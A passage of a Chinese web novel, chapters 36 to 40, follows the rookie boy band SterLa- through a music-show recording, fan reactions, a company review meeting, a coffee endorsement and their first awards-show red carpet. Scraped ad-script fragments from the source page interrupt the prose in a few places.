台下SterLa-的粉丝心里刚升起疑惑，为什么到自家崽的时候，舞台就没有亮灯直接变成了开场的灯光模式。 现在的SterLa-可不是第一天来打歌时台下一个粉丝都没有的新人小糊团。因为这段时间各种事情的发酵，加上前段时间神图、搞笑梗频出的签售以及出道专最后一场打歌的诱惑力，台下坑位里站着的一百来个人里，得有二十来个都是SterLa-的团粉或者某个人的唯粉。 他们晃动着手里的应援物，还没来得及和周围的同担交流下疑问，听见独特采样的前奏声响起就吞回了想问的话，亮晶晶又满含期待地看着舞台上的动作。 看着看着，他们发现好像有点不一样，除了染了银白色头发亮到反光的禹安，还出现了另一颗染了粉色的头。 看清楚他们的站位后，江翰飞的粉丝小蝴蝶们惊喜地发现，按照舞蹈站位，这个染了新发色的人，不就是他们的阿飞吗！ 小小的尖叫声被强行吞没在死死咬住的食指里或者死死咬住的牙齿间。 不能随意叫出声破坏舞台，这是公认的规则。 还没见着正面就兴奋地使劲儿挥舞的手吸引了镜头的视线，随着受伤的应援物又丝滑的顺切到了江翰飞的正面视角。 ！！！！ “啊啊啊啊啊！！！” 再也忍不住的压抑的尖叫声充斥着整个录制大厅。 朱朱的手都不由自主的抖了两下。作为资深追星人和摄像头，她的手早就练出来了。 但是谁能承受得住近距离的美貌呢！ 朱朱心里不由得爆了句粗口。脱口而出时的声音都带着些微的颤抖。 人在情绪激动的时候真的很难控制住自己。 因为观众的干扰，这次的舞台录制无奈的中断了。导演直接喊话开灯，让准备第二场。 开灯之后，江翰飞的造型完整又明亮的展现在众人眼前。美的冲击来的汹涌。不少其他家粉丝也不管旁边的是不是自己同担，会不会看到自己当场爬墙，拉住人就问这是谁。 小蝴蝶们听见问话骄傲地小声科普，询问的人们纷纷表示拿到了手机就立刻关注上！ 人对美的追求是刻在骨子里的。 第二次录制重新开始，粉丝们也终于依靠各种办法抑制住了自己的激动，除了应援以外没有再三的尖叫出声。 录制结束从工作人员们的手里拿回手机，打开手机的第一件事就是开机，登陆账号，在各个平台控诉今天的美貌杀人事件。 @zzzz：江翰飞你我母子情谊到今天就结束吧T T！ @月上：我真的无比期待今天的站姐图，我真的球球了！ @清纯小狗煎包：谁还敢对江翰飞民推门面有意见！！今天真的杀疯了！[图][图] 直接看电视放松的粉丝们在SterLa-出来后就一边快速截图，一边在各个社交平台上发疯，超话是重灾区，已经被今天的视频截图刷屏，每一秒刷新都能看到新的ID在啊啊啊啊啊啊。 很快，#江翰飞神颜 慢慢爬上了文娱热搜，公司见词条出来， (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 立即加码，送词条往高位去。点进热搜的路人们不少直接原地入坑，就算没有入坑的，也对江翰飞有了个长得非常好看的印象。 @Fly-Sterne：相机原图预览[图][图][图]，晚点出精修（虽然没有什么好修的）。 晚上8.00，朱朱拿到手机的第一个时间，把心里早就选好的几张图直接拍了相机预览图。今天晚上，不出精修不睡觉！ 谁能忍心让江翰飞的这个妆造在相机里落灰？现在正在热搜上，如果因为晚发出去一秒，少了一条彩虹屁吹捧，都是她朱朱的遗憾！ 拍完相机预览，发完博文，一刷新就看到新发的博文下的各种怪叫。朱朱看了一会儿满足的收起手机。 心理满足了该满足自己的肚子了，站一天真的是饿死个人！ 走出录制厅来到录制大楼的大门处，发现一堆粉丝围在那儿，朱朱不在意想走的时候却听到有人说道，“我的灯宝们都太真诚了，自己出道才一个月就给我们做逆应援。” “是啊，有几个男团能这么快就做逆应援的啊？” “而且还不是专场，只是打歌录制。” “今天来真的太值了，没有抢到票的那些姐妹们估计肠子都要悔青了。” 简单的几句交谈成功拉住了朱朱往外走的脚步。 灯，是粉丝给SterLa-的简称。那女生说的灯宝不就是SterLa-吗？ 啥？逆应援？ 几个交谈的女生见朱朱走过来，一个短发女生问道，“你也是SterLa-的粉丝吗？灯宝给我们准备了逆应援礼物，可以到前面凭借入场手环取。” 旁边的女孩子补充说道，“就算不是也没有关系哦，只要对SterLa-有好感也可以领取哒！” 朱朱凑上前去，工作人员一边递过来一个小袋子，一边笑着说道，“SterLa-的成员们特地跟我嘱咐了，一定要跟你们说：感谢你们的到来和支持！” 道谢接过手提袋，里面是一个小盒子不知道装的什么，一盒巧克力，一包榛子饼干还有一小瓶苏打水。 饼干和巧克力简直解了燃眉之急，饿的发晕的朱朱赶紧先拆开饼干咔嚓咔嚓吃几口。不知道是不是太饿了以及偶像滤镜太深，朱朱觉得这简直是最好吃的小饼干。吃完饼干又咬了两口巧克力，补充完糖分后整个人都精神了许多。 走出门外上了车，朱朱在车上拆开了小盒子，里面是一个小小的Logo玻璃画，以灯笼和星星为元素，缠绕着队名。 这是唐君君给SterLa-做的周边，这款玻璃画本来是要上线售卖的，但是因为造价过高，考虑到现在SterLa-作为一个新人团，第一次周边的价格太贵会给人割韭菜的感觉，这才放弃了玻璃画的这个想法。 这大概是绝版的打歌纪念物品了。 而SterLa-的几人坐在回公司的车上，打完歌后的兴奋感还没有消退，一边聊着舞台，一边刷着手机，都在用小号刷着粉丝的发文，暗戳戳地点赞。 能回馈粉丝，不管是什么，真的是太好啦。 37.第 37 章 结束打歌的第二天一大早，五人又来到了公司的会议室开会。这次是会议主题是对这次出道专的情况做一个汇总。 唐君君一直是个雷厉风行的性格，开会从不拖沓。放在其他负责人手里至少得开三四个小时的总结会议。但她一向的开会宗旨就是不要超过一个小时，过长会影响整体效率。 “总结起来，这次出道专很不错，音源最高87名，是同代里出道就进入Top 100排行的新团，在音源方面最大的竞争对手是K家的IUE，他们出道曲最高排名77。” “销量最终销量105421。由于我们前期保守的预期导致专辑缺货，这是好事也是坏事，负责专辑备货的人回头注意跟进市场，做市场容量分析。二专回归我需要一个准确的备货区间，这个数据在11月内提交给我。” “粉丝量增长看曲线高峰点在签售和霸凌事件之后。打歌的粉丝转化率不错。二专的风格大致还是延续出道专，会在出道专的基础上做世界观的进一步延伸。舞蹈和舞美设计看来效果很好，二专不要换人。现在团队号的粉丝已经超过三百万，对新团是不错的数据，但是从整个男团市场来看还差得远，继续努力。” “最后，现在的两个团队，一个负责年末颁奖典礼，一个负责二专；两个团队的负责人晚点单独找我。” “今天开会之前我已经跟老板们申请了庆功宴。”说到这儿，唐君君顿了一下，扫过在座的一个个人，把他们眼睛里透出的期待看得一清二楚，“但是被驳回了。” 会议室骚动起来，大家面面相觑。 按道理说这个出道成绩已经算是公司非常好的成绩了，没道理会取消庆功宴吧？ 等了一会儿，唐君君终于不在肃着脸，反而带着淡淡笑意跟他们说道，“直接折算成现金，和奖金一起发放。” “哇！” “好耶——！” 参加了出道专项目的工作人员们巴不得直接折现，自己想买什么买什么难道不是更香吗？ 五人组艳羡地看着欢呼的工作人员们。他们还欠着公司的债呢，也不知道这次回归之后还欠多少。 “接下来的重点是年末颁奖和二专，中间还有海外行程和节假日，时间太赶就把庆功宴取消了。”唐君君笑着说，“出道专虽然整体成绩不错，但也存在不少问题。公司，我和大家应该目标是一致的，出道专出现过的问题在二专期间不要再有。” “能做到吗？” “没问题！” 只要钱给够，我们就是最好的打工人。能在SterLa-这个团队真是太好了。 领导不作妖，同事配合没架子，整个团队氛围好的不行，薪酬和奖金从不含糊。 不少工作人员甚至有了些其他想法，如果以后SterLa-大火，需要更多固定人员的时候，他们一定第一时间报名。 早上会议结束，唐君君给SterLa-五人组放了半天的假，下午他们自由活动，晚上正常时间到练习室和负责年末颁奖典礼的团队一起开会。 现在是11月初，第一个颁奖典礼在11月30号。但后面的颁奖典礼就很密集，从12月初开始到12月末有6个颁奖典礼需要参加，其中最大的颁奖典礼在12月14号，是由游鱼台主办的Golden Music Awards（简称GMA/金音奖）。 说是最大也不尽然，主要是这个颁奖典礼是出了名的含金量高，从不做票。除了粉丝投票，委员会投票，还会由去年的获奖者进行投票。不管中间的加权如何，最终出来的结果几乎是大家都认同的结果，偶尔出现小的异议也是因为两个团体不相上下的情况。 GMA每年三大最有分量的奖项：年度艺人，年度歌曲，年度专辑。这些今年SterLa-是肯定没指望的，但今年除了这三个超级大奖，最让人期待的就是最佳新人奖会花落谁家。 讨论的声音里，IUE和SterLa-的呼声相当，各占49%，剩下的2%是一些心里知道自己爱豆已经无望新人奖但是还嘴犟不愿意认输的人。 网上的舆论声势已经燥起来，两边的公司也在一边暗中给舆论加把火，一边使劲儿给艺人团队加压，要求他们一定要把这个奖拿到。现在谁拿到最佳新人奖就是直接踩在了另一个团体的肩膀上。 粉丝构成是很复杂的。事业粉持续投入自己的时间精力，呼吁团队粉丝给团队做数据，就是为了能看到自己粉的团队能蒸蒸日上，直到最顶端。还有一些路人粉和红人粉，只是以为因为某个团队在短期内的呼声或者营销的好，觉得热度高就过来粉一粉，出去和别人聊觉得有话题而已。 因此现在这两个团体的粉丝，团队自己还有公司都在暗中较劲，失败者的粉群一定会受到打击。甚至部分粉丝会直接转粉获胜者。 公司给艺人团队的加压搞得唐君君也头疼，还有一个月就开始了，除了催促粉丝投票和练习好表演舞台，其他也没什么可操作的空间。 从11月初到11月30号第一个颁奖典礼开始之前他们就需要把所有颁奖典礼的表演准备完善。毕竟颁奖典礼的举办地点可不是在一个地方，算上中间奔波，还有妆造，彩排，还能练习的时间寥寥无几。 下午能自由活动，中午吃饭的时候五人商量着要不要去哪儿玩儿一下，结果讨论半天，还是放弃了，最后五人都窝在了宿舍，补补觉，打打游戏。 江翰飞则把上次收拾的那一堆粉丝的东西拿出来规整好，粉丝送的东西会由工作人员专门检查，确认没有问题之后才会拿回给他们，让他们搭配着穿。造型师那儿有完整的单子，偶尔也会让他们直接把衣服拿过去由造型师给他们搭配好。 收拾完一堆衣服，江翰飞就趴在客厅的茶几上写起信来。写完就放到一边的盒子里收起来。 于立果走过来，“阿飞，小元儿晋级了。” 江翰飞抬起头看着于立果露出一个笑来，“是晋级到第二轮吗？我记得小元的初始排名是32名，应该能进的。” “是从B班晋级到A班。”于立果在沙发上坐下，“初始排名是他们没有进行过个人等级判定前的。” “小元儿最开始的个人等级判定是B级，他的舞蹈提高了不少，但是声乐才过完变声期有点吃亏。” “小元没问题的。他长得好，性格好，实力也不差。”江翰飞侧过身，“不过上次我看到有消息说有个选手是KTR队长的表弟。” 江翰飞犹豫了一下，眼睛垂下又抬起，“我们能给小元加油吗？” “就录个视频什么的。” “实在不行能不能让公司帮忙暗地里也宣传一下小元和我们是好朋友。” 于立果看着江翰飞纠结的神色不由自主笑起来。 他知道江翰飞在纠结什么，这个弟弟敏感又真诚，一边想帮小元更进一步，一边又纠结担心自己出面会影响到SterLa-这个团队。这话估计已经在心里憋了一阵，直到现在才跟他聊起。 又想到那天和宋文斌聊天，斌哥说江翰飞送了他和高崎一人一张团队签名专，还有一封手写信，里面措辞小心翼翼，不去触碰到当时宋文斌和高崎离开的原因。 “这事儿我去跟君君姐商量，我们一个公司，应该问题不大。”于立果拍拍江翰飞后脑勺，拍走他的纠结，“你这是在写什么？” “我在给粉丝回信。”江翰飞完全信任于立果的沟通能力，放下件心事，神色飞扬地跟于立果分享起粉丝的来信，“他们给我写了好多鼓励的话，还有一些自己的烦恼什么的。有地址的我就给他们回信，没有地址的，我就保留着，以后再找机会给他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 们。” “注意尺度，回寄之前记得跟工作人员们说一声，报备一下。” “嗯嗯，我知道的。”江翰飞乖乖点头。 于立果突然觉得江翰飞好像越来越小了。当时跟江翰飞见第一面是在健身房，那次见面他直觉这个男生虽然年纪小却显得挺成熟。现在给自己的感觉反而更贴近他真实年纪。 但他觉得这不是坏事儿。 于立果垂眸笑笑，从房间里也拿出一个装信的盒子，从江翰飞那儿顺来信纸，趴在桌上一起写起回信来。 葛文山不知道什么时候也凑了过来，确认了他俩是在给粉丝写后，也抱了个小箱子从卧室里出来，趴在江翰飞对面开始写起来。 后来另外两个也陆续加入，一时间客厅仿佛成了高中宿舍，几人挤挤挨挨地一起写卷子。 而这时候的大粉朱朱正在观赏存在电脑里的图。 除了发出去的部分，还有需要图是没有发出去的。其中她最最喜欢的就是江翰飞第一次打歌时朝着镜头露出的那个放肆笑容。 那是她镜头里江翰飞很少有的样子。 一张张翻看着，朱朱突然来了个心思，要不下次签售，就送崽崽一本自己的PB吧？可以做两本一本给他，一本让他签个名还给我。 朱朱越想越觉得不错，赶紧发在炒豆群里问问群里姐妹们的意见。 结果群里姐妹们直接叫嚷起来也要一本，朱朱寻思，做2本是做，做200本也是做，不如多做点用来抽奖？ 想到什么做什么，下一秒她的手就打开了妙博，发了一条博文：限量PB，只送不卖，转+评我下一条博文，在里面抽182个人包邮送。（PS：每本都有编号，要是让我知道谁敢高价出，永久小黑屋！） 发完预告等了十来分钟，朱朱才把第二条精心挑选的博文发了出去，一共带了18张图，每一张图都是不同时间，不同造型，不同动作的江翰飞。 “我就知道！我就知道姐姐你还有好多好东西没发出来，姐姐球球！！” “看到这个图，我真的太想要PB了，给个姬会吧姐姐！” “好多帅气宝宝！姐姐太爱了！出道专几乎场场打歌和签售都在啊T T” “最喜欢倒数第二张，阿飞本来是我鹅子的，看完最后一场打歌造型成功变成了我的女鹅，我的宝贝公主！！” “路人，刷到惊呆了，江翰飞原来有这么多小表情吗？” “抓住路人吃我一波安利，可以翻翻这位姐姐发的图。其实阿飞真的很多小表情小动作，但他应该是习惯性藏起来，要仔细观察才能捕捉到。” “那多累啊？就不能大大方方的表达出来吗？还得拿个放大镜去看。” “我们不觉得累啊，每次出来视频去找宝宝的一些微表情小反应很快乐啊！每次看到他表面上稳如老狗，实际上紧张得揪着自己袖口成为萌萌袖我心都化了。” “哈哈哈是的，安利一个@江翰飞的社死日常，这位姐专业捕捉阿飞的小动作，挖掘到了好多之前看视频没看到的点。” “他真的是一个很温柔的宝宝，看花絮的时候队长在跟镜头说话，他在镜头后面给人递小刀都是刀尖向着自己递过去的。我觉得这种自己探索出来的远比镜头直接拍摄表现出来的更加真实。” “还有一次一位造型师姐姐给队友紧急改造型，队友随手把耳机给他，他都是缠绕好了再放在队友造型镜前的桌上。” “他的小细节小动作你看的越多越容易入坑，他不是那种在镜头前看似温柔对你笑的爱豆，而是镜头前看起来没什么表情冷冷的感觉，但是一旦突破他表面薄薄的那层冰，就能发现他柔软又温热的内心。像一个宝藏，需要探索才能找到的感觉真的很戳我。” 朱朱默默给这条评论点了个赞。 38.第 38 章 在忙碌的年末颁奖季来临之前，他们还有一个代言拍摄的任务。 “来，看镜头，表现得自然一点。”广告拍摄导演坐在摇臂摄影机后面，拿着喇叭喊道，“这是刚起床，你要表现出起床时的懒散，无力，没精神。” 搭的房间拍摄场地里，禹安在中间的床上睡着，江翰飞走进来，侧过身让摄影机清晰地拍摄到他和禹安的互动。 “哥，起床了哥。”江翰飞轻轻拍着禹安的肩膀，特地放轻的声音显出几分温柔。 “嗯······？”禹安装作被吵醒的样子，皱着眉睁开了眼睛，又挣扎着闭上。 一副没睡醒的烦躁样子。 “咔——！” “第一镜过了。” 导演看着摄影机里刚刚拍摄的画面，走位正确，一点没挡着镜头；台词语气也没问题，睁开的眼睛和面上的小表情也完全符合预期。 大拇指无意识摩挲两下下巴，若有所思。 本来以为给这些团偶像拍剧情广告是个累活儿，没想到这所谓的男团偶像还懂点演戏啊？ 能顺利拍完就能早点收工，他也省点事儿。 想到这儿一直冷着的脸上终于带了点笑，拍拍手说道，“准备第二镜。” 江翰飞和禹安下场到一边换装，要从睡衣换成工作常见的衬衣。 欣怡站在一边帮他们拿着衣服，“表现得很好啊，我刚刚看导演脸色都好不少。” 禹安在造型师的帮助下穿好下一场的服装，笑眯眯地回道，“主要是本色出演，每天早上江翰飞都来‘吵醒’我。” 休息室这儿都是自己公司的人，说起话来也没什么顾忌，造型师也接着话题，“唷，SterLa-队内不和实锤了啊，我录音了，回头卖营销号去。” “哎呀姐，那这钱咱可得对半分才行。”禹安装作一副急切的样子，跟着开玩笑。 “哈哈哈哈没问题没问题。” 休息室里的人都笑起来。 换完衣服的江翰飞坐在沙发上，也跟着他们笑。 禹安扑了两笔散粉，过来坐在他旁边，“怎么，我开玩笑的，别往心里去啊。” “那肯定不会啊，我知道的。”江翰飞失笑。他只是话少又不是傻，团队里的人对他什么样他自己最清楚。虽然只差个一岁两岁的，但都把他当弟弟看，没少照顾他。 就像现在，一句玩笑话，禹安担心自己真往心里去也得过来说上一两句。 “唔。”禹安装作不在意的应着。 场务推开休息室的门，“马上到第四镜了，麻烦禹安老师和江翰飞老师准备下。” 江翰飞和禹安一起站起身来往拍摄地走去。 禹安瞥了他一眼，“没事儿长这么高干什么，看着真碍眼。” “是我的身体自己要长的。”江翰飞回嘴。 他倒是对自己的身高很满意，进公司前才178cm，最近刚量的身高体重已经182cm了，他都没想到自己18岁之后竟然还能长高。 禹安白他一眼收回视线。 第四镜是江翰飞制作咖啡，禹安在旁边看着的场景。 说来也巧，本来会找新出道男团的品牌要么是签长期又高性价比的合同作为投资，如果哪天男团爆了，品牌也跟着飞升。要么就是本身实力很有限。 这个青山咖啡就属于后者。他们是咖啡连锁店，原本是只卖咖啡豆和相关器具的，也算是在咖啡圈里有点姓名，有自己一批老顾客。又正好赶上经济增长，城市发展。都市的快节奏导致咖啡需求量暴增，于是他们顺势而为又开了线下咖啡门店。至今在咖啡圈里也排得上名号了，现在想要进一步打开年轻人的市场，但老板没有接触过新媒体，线上的宣传渠道只知道TV广告投放。这次能想到找男团代言，也是老板女儿的建议。 更巧的是，这个代言原本找的是K家的IUE，两边因为价格的问题拉扯了快两周。K家自持身价和IUE新男团第一的名头，不愿意让利；而咖啡店这边的宣传经费有限，老板也不愿意在没有尝试过的领域一次性投入过多。正僵持着，老板的女儿正好看到了网上流传的乐狮霸凌事件，点进去吃瓜时看到了SterLa-粉丝做的澄清截图和美图宣传。在澄清词条下第二条热门刚好是他们参加Hiiting自制综艺的那期，包含了几人咖啡制作视频的截图精修。 观察了SterLa-一周，自家市场部在网上搜集数据已经表明这个叫SterLa-的男团和IUE在新团里分庭抗礼，甚至SterLa-微微小胜一筹，他们这才转而投入了SterLa-的怀抱。 “来，禹安你侧头过来看的时候视线的落点一定是在咖啡上。调整下侧头的角度。诶对对！” “准备，1 2 3！” 禹安正站在厨房岛台前打着哈欠，睡眼惺忪。岛台另一边的江翰飞正把壶嘴拉高，杯子收正，奶泡完美滴落在图案结尾。 “喝点咖啡醒醒神。”江翰飞把刚做好的咖啡递过去。 眼神迷离的禹安结果咖啡喝了一口，闭着的眼睛睁开，缓缓吐出一口气，对着江翰飞笑道，“终于清醒了。” 这个镜头给了禹安一个面部特写，又缓缓拉远，两个人相视而笑的画面配上白色的厨房背景，显得简单又温馨。 导演看着镜头里的两个人，感觉这个场景有点不对，但是构图，台词，表情和情绪都没什么问题，看看剧本上的要求，确实也没问题。 摸摸脑袋，还是喊了过。 禹安和江翰飞的拍摄就结束了。团队五个人分了三个小组，他和禹安一组，于立果和吴星雨一组，葛文山单人一组。分别拍摄的是三个不同的场景。后面才会把他们都剪辑在一起。 另外两组就还剩葛文山还没拍完。穿着一身黑色立体剪裁黑西装的葛文山扮演的是总裁的角色。身材高大英挺，面容冷峻的他穿上黑西装站在办公室的背景里，好像真就是少女漫画里的总裁走了出来。 “难怪那么多二次元粉啊，这身材还是文哥牛啊。”禹安叹道，他真的好羡慕葛文山的身高， (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 每次站队的时候，他都下意识地避开葛文山旁边。无他，站在江翰飞他们旁边虽然矮点但是也没那么矮。但是站在葛文山旁边，他就显得好像只有一米五了。 江翰飞在旁边装哑巴，这个时候不管是安慰还是嘲讽，反正可千万别搭话。根据他的经验，这个时候和禹安搭话，绝对讨不到好。 拍摄很快结束，果然比预期的还早四个小时，收了个早工，现场的打工人们都挺开心，说话也都和气得很。走之前导演还特地找到SterLa-执行经纪人刘哥单独聊了聊，给他塞了一张名片。 回公司的路上刘哥才跟他们说给他们拍广告的导演觉得他们的素质不错，他们是单独的工作室，如果以后再有拍广告的需求可以找他们。 虽然导演可能只是为了拓展下客户跟他们客气客气，但这话确实好听，听的人心里美滋滋。就算待会儿回公司还得把今天拍广告占用的练习时长补上，也觉得没那么难受了。 为了赶上最后两个月的购物旺季，广告制作加班加点，拍完两周后，广告就上线了。 粉丝们早知道自己爱豆代言了青山咖啡，早早地就开始为爱豆扩大宣传。甚至有消息灵通的人还知道这个咖啡代言原本找的是IUE，已经在论坛上和IUE的粉丝大战了八百回合。 IUE嘲讽SterLa-只会捡IUE不屑要的资源还嚣张；SterLa-的粉丝则回嘴是不是IUE丢了代言太心痛发失心疯。 又恰好遇上新人奖之争，两边你来我往火药味十足。 偶尔KtM的粉丝没事儿也要来掺和一下，结果被两家粉丝联合暴打，不再吱声，老实做着自家爱豆的数据。想着等KtM拿到好代言了要回去爆锤他们两家粉丝一顿。 今天青山咖啡的广告正式上线，同时线下门店也做了代言人款的手提袋，杯套和易拉宝。 青山办公楼顶层办公室，老板和女儿一起坐在沙发上。 “爸，你可答应我了，要是这次的代言策划增长达到20%以上，我上次看中的那台车你就得帮我拿下。” “没问题。爸爸可是说话算话的。”青山老板乐呵呵道。本来他宠女儿，就算没有增长，那台车也会给闺女提的，“今天晚上十一点就能看到汇总数据，今天晚上允许你熬夜一次，咱俩一起看。” “那可是你说的，今晚我就熬夜一下吧。”女儿心虚的说道。其实她平时晚上经常熬夜到凌晨一两点，只是爸爸一直都以为她十点就睡觉。但想到刚刚早上来公司路上看到的门店场景，又骄傲地想叉腰。 她可是做过市场调查的，现在市场上的明星代言给出的报价都虚高，实际上的带货能力还得看明星艺人们实际销售情况。都是新男团，专辑价格相当，那个IUE的专辑销量才七万多，而SterLa-已经超过十万了。而且搜索趋势SterLa-一直在涨，年末的颁奖季和购物旺季完全重合，如果SterLa-能拿到最佳新人奖，他们家的咖啡就能顺着涨一波，等到时候他们想请人家代言可就不是这个价格了。 39.第 39 章 晚上十一点，父女俩在书房正看着销售经理发过来的报告：11.19日1805家门店共计营收752万。 青山老板不可置信的看着营收数据。752万是什么概念呢？青山咖啡门店正常的日营收在120万-150万之间。即使按照150万的日营收来算，他们今天一天的涨幅也高达5倍。 女儿也被这个数据震惊到了，虽然早上去公司路上已经看到门店爆满的现象，但着实没想到能有这个成绩。 他们给的代言费是700万，也就是只一天的营收已经覆盖了代言费。 也许只要一周，他们的净利润就能完全覆盖掉代言费用。 [@青山咖啡，你们能不能行啊，备那么一点货是瞧不起谁呢？] 完全抢不到，平时也没发现我有这么多同担啊？ 嘻嘻，幸好我出手早，打工之前就去买了咖啡，拿到了最喜欢的于老师的杯套。 有人跟我换吗？我有禹安的，想要葛总的。 姐妹没必要换，他们是长期代言，杯套和袋子这些后面肯定还会有的。 虽然但是，好想现在拥有啊T T 今天早上看着我老公的帅脸，打工都有力气了。这才是牛马最好的饲料。 我也是我也是，看着我儿子的脸就有动力去push工作了，不然妈妈怎么给你做数据给你送东西呢！ @青山咖啡死了没啊，出来回应一下呗，周边后面还有吗？ 因为今天拿到的周边，我会原谅全世界，给所有同事好脸色。 回楼上，回应了，说接下来一周都会持续发放，后面还会有代言人专属周边。 ······ 互联网时代没有秘密，青山咖啡这边红红火火的数据很快便被各个品牌拿到，对大多数品牌来说，实实在在的购买力才是品牌愿意花钱请代言的根本。 部分公司看着这上升趋势，不假思索的发了代言邀约，也有公司还在等今年年末的奖项会花落谁家。虽然SterLa-的成绩喜人，但万一要是新人奖落到了IUE手里，那他们可就亏大了。 有利润就有风险，不少品牌看着实在的数据还是抛来了橄榄枝。 11月30日，由青川台举办Best Music Awards（简称BMA/佳音奖）在市体育馆进行。 下午三点开始走红毯，晚上七点正式开始颁奖典礼，如果流程顺利，晚上十点颁发完所有奖项，最后所有团体上台大合照结束。 为了今天的颁奖典礼，昨天一行五人去做了一套从头到脚的专业护理，直到晚上十点多才结束了最后的皮肤护理。今天早上八点又到了公司的专属化妆室集合。 5楼的化妆室从左往右依次排开，最左边的是最早在乐狮出道的歌手前辈现在已经基本上不怎么出来活动了，但还保留着他的化妆室。往右则是按照出道时间顺序排列的化妆室，基本上所有已经出道的艺人在公司都有一间专属。他们的化妆室旁边则是Cilier，在他们之前推出的男团。 BMA颁奖典礼也是大型颁奖典礼，奖项繁多，新人团体中部以上会给邀请函，而老团或者非新人的艺人则得有获奖才会给邀请函。也就是说，除了新人是不确定自己有没有获奖的，老团都是明确了有奖才会被邀请。 而Cilier这次就没有收到邀请，他们的回归反响太差，专辑卖了不到3万张，连新团都打不过，音源成绩别说进Top 100了，最好的一首在三百开外，几乎就是无人问津的状态。 Cilier再过去两间化妆室就是大热男团Hitting的专属化妆室了，他们人比SterLa-多，来的比他们还早一些。 刚刚到这层，唐君君就领着他们一个个化妆室的走过去混脸熟。都是一个公司的，也没人给他们甩脸色，面上都是一台和气。 这就是背靠大公司的好处了，自带粉丝基础和前辈流量，又有公司保驾护航。哪怕是Cilier这种扑街的男团，在外也不会像上次那个小团一样被欺负到没饭吃。 和已经到了的前辈们打过招呼，SterLa-进了自己的化妆室开始做妆造。 造型师和化妆师都是熟人了，两边配合默契，下午一点多做完妆造聚在一起吃午饭。 吴星雨苦着个脸，刚刚造型师让他少吃点。今天他的衣服色系和其他的成员不一样，而且勒得比较紧，吃多了把肚子吃出来了就不好看了。 虽然现在才一点多，但是他们还有两个小时就得走红毯了。可来不及消化的。 葛文山默默地不说话，想起大概去年就这个时候，他的练管说他必须得减肥让身体瘦下来，然后他戒了一个月的碳水，只摄入蛋白质和蔬菜。后来瘦过头，又慢慢恢复了正常的饮食保持身材。 那一个月太难熬了，要不是想要登台的心一直刺激着他，真坚持不下去。 禹安和江翰飞完全没有这个烦恼，他俩都属于典型的易瘦体质，本身也很瘦削，偶尔吃点高热量的东西就算唐君君看到了也不会管，把其他几个人羡慕得不行。 禹安坏笑着夹了一筷子黑椒牛柳，在吴星雨面前绕了一圈才送进自己嘴里。那欠揍的样子让吴星雨手痒痒。江翰飞赶紧夹了点蘑菇放到吴星雨碗里，“队长，我那儿还有两颗巧克力球，待会儿你吃点巧克力，晚上还得跳舞呢。” 吴星雨刨了一口饭进嘴里，细嚼慢咽着点点头。 要不说大家喜欢阿飞呢，这么乖巧懂事的弟弟多来两个也不是不行。禹安这种调皮的弟弟就该吊起来打。 下午的时间逐渐过去，市体育馆红毯入口处已经架好了多家媒体的机位，媒体后面就是各家的粉丝了。在红毯的两边围了一大群，各个都青春洋溢，拿着手里的应援棒，一边玩着手机在各个平台乱窜，一边不时地望一眼入口处，期待着红毯环节的开始。 走红毯的顺序可是有学问的。出场顺序代表了你在这场红毯主办方心中的地位。 一般来讲，压大轴（最后一个出场）>压轴（倒数几个）>开场>中间出场>早期出场。 也就是说，走的早的，除了走开场的那一两个以外，剩下的都是杂鱼。SterLa-作为一个新男团，走红毯的顺序比较靠前。能拿到早期靠中间出场已经是因为他们优秀的出道专成绩 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了。 三点十五分，他们的车停在了两百米开外的拐角处，这里有专门的工作人员核对车牌号和出场顺序。下下一个就到他们了。 吴星雨深深地吸了一口气，紧张混杂着兴奋的情绪充斥着他的大脑。上次有这种感觉是在出道的第一场打歌上台前。 “第一次打歌，第一次签售；今天是我们第一次参加颁奖典礼，走一个吧！”吴星雨伸出手放在中间。 旁边的于立果和葛文山把手搭上去，前排的江翰飞和禹安回过头来把手也放上去。 “1 2 3 加油加油加油！”前排的跟拍摄影机忠实地记录着他们的动作。这是公司派来跟他们行程用来制作花絮的摄影师，哪些该剪掉，哪些该留他最清楚不过。 紧张情绪随着喊声倾泻出来，终于感觉自己身体不那么紧绷。 车平稳地停在红毯前。还没下车就听到外面的嘈杂声。上一个走红毯的还没走完，在末端跟两边的媒体挥手。 江翰飞坐在靠车门的第二排，第一个下车后站在一边，看着不长的红毯以及两边围了五六层的人群。一个个媒体摄像头迅速从已经签完名的爱豆身上转开对准了江翰飞这批新来的。 等最后一个葛文山下车站定，车缓缓开走，众人有意无意地看了眼吴星雨，他低低咳一声，走在众人面前大步向前迈去。 “阿飞！妈妈爱你！！阿飞！”嘈杂的声音里，江翰飞的耳朵准确的捕捉到了叫他的声音，侧过头看向声音来源。穿着Lolita裙子的女孩儿正高高举起‘江翰飞你是最帅的’蹦蹦跳跳。 见他望过来，跟他视线对上，尖叫声一下子变得高亢，震得前面不知道谁的粉丝也不住回头看她。 江翰飞赶紧一边往前走，一边笑着和她挥挥手。 《每日娱乐》对着红毯中间的摄影机莫名的对准了这个还不知道姓名的小爱豆，正在《每日娱乐》的直播间里蹲自家爱豆的弹幕瞬间密集起来。 “这人谁？笑的时候一下子就阳光起来了。哪个小糊糊里面的？” “不是小糊糊，是新人男团SterLa-的主唱。” “妖精的声音江翰飞，超级温柔可爱，入股不亏！” “是新人啊，能排在这个位置还不错啊。” “是今年的新人王吧？这估计是红毯顺序最靠后的一个新人团了？” “大概是的，前面K家的IUE都走过了。” “那个银头发也是他们团的吗？” “超绝精灵系门面禹安，姐妹快入坑！” ······ 眼见着现场和直播间都有些反应，不少媒体也开始调整摄像机的角度对准了这个他们还不认识的新团。 “欢迎SterLa-来到BMA。”穿着礼服裙的红毯女主持人见他们签完名将他们引过去，“今天是第一次来到BMA吧？心里是什么感受呢？” 这也是个标准采访问题，话筒传给了吴星雨，“确实是第一次来到BMA，感觉很兴奋也很紧张。既兴奋我们能来到这儿，也很紧张晚上的舞台表演。” “希望观众能喜欢我们的表演。” 40.第 40 章 因为出场早，过了红毯环节也还不到四点。 